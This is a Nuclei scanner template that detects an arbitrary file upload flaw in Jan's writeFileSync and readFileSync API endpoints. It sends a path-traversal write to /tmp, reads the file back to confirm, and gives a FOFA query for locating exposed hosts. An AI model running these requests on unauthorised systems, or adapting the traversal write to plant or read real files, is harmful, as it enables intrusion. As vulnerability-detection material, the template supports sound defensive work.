jan-file-upload: Jan - Arbitrary File Upload

id: jan-file-upload

info:
  name: Jan - Arbitrary File Upload
  author: pussycat0x
  severity: high
  description: |
    Jan's API interface writeFileSync and appendFileSync does not filter parameters, resulting in an arbitrary file upload vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/Jan%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
    - https://github.com/HackAllSec/CVEs/blob/81e63ae5caae40be47905adae601e0c2f480190b/Jan%20Arbitrary%20File%20Upload%20vulnerability/README.md
  metadata:
    fofa-query: icon_hash="-165268926"
    max-request: 2
  tags: jan,intrusive,file-upload,vuln

variables:
  string: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        POST /v1/app/writeFileSync HTTP/1.1
        Host: {{Hostname}}
        contentType: application/json
        Content-Type: text/plain;charset=UTF-8
        Origin: {{RootURL}}

        ["/../../../../../tmp/{{string}}.txt","{{randstr}}"]

      - |
        POST /v1/app/readFileSync HTTP/1.1
        Host: {{Hostname}}
        contentType: application/json
        Content-Type: text/plain;charset=UTF-8
        Origin: {{RootURL}}

        ["file:/../../../../../tmp/{{string}}.txt","utf-8"]

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{randstr}}'

      - type: word
        part: content_type_2
        words:
          - 'text/plain'
# digest: 490a0046304402200388d414e7f3a5a280a9ca8026836c64c26e6f873f148fb00cf4af5b6793a35102202559ac1856d70649d06b4caa23c6c427a0e8404c7f9c86b25ff6067c46e44c8a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.